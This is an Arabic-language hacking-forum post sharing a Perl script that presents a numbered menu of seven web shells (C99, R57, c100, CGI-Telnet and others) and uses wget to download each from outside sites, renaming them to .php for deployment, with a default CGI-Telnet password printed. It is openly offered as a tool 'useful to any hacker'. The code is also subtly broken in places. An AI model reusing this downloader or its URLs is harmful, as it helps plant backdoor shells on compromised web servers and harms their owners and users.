Script Wget -7in1-Coded By Security-Mind

اليوم اضع لكم اول برمجة لي في لغة
Perl
وهوة سكربت موجود فيه 7 ادوات تفيد اي هاك

#!/usr/bin/perl -w
print q(
##
# Coded By Security-Mind
# ghostofthehacker@yahoo.com
# Iraqi-Cracker
##Greetz To:All My Freinds In HosA :D
Choose Number From The List:
);
print "{1} CGI-Telnet Password is: changeme\n";
print "{2} C99\n";
print "{3} R57\n";
print "{4} MySQL Shell\n";
print "{5} Safe0ver Bypass\n";
print "{6} SnIpEr_SA\n";
print "{7} c100\n";
$answer=;
chomp($answer);
if($answer eq 1)
{
system "wget http://www.rohitab.com/cgiscripts/cgitelnet.tar.gz";
system "tar -zxvf cgitelnet.tar.gz";
system "chmod 755 cgitelnet.pl";
print "CGI-Telnet password: changeme\n";
}
elsif($answer eq 2)
{
system "wget http://r57.gen.tr/99.txt";
system "mv 99.txt 99.php";
}
if($answer eq 3)
{
system "wget http://www.r57.gen.tr/57.txt";
system "mv 57.txt 57.php";
}
elsif($answer eq 4)
{
system "wget http://www.r57.gen.tr/mysql.txt";
system "mv mysql.txt mysql.php";
}
if($answer eq 5)
{
system "wget http://www.r57.gen.tr/safe0ver.txt";
system "mv safe0ver.txt safe0ver.php";
}
elsif($answer eq 6)
{
system "wget http://www.hackerlar.net/sniper.txt";
system "mv sniper.txt sniper.php";
}
if($answer eq 7)
{
system "wget http://www.hackerlar.net/c100.txt";
system "mv c100.txt c100.php";
}
print "Exit";
}
طريقة تشغيل الملف
احفض الملف بصيغة
pl
و اعطه امر تشغيل الملف
Perl name.pl

البرنامج لا يعمل على نظام ويندوز فقط على انظمة لينكس

احترامي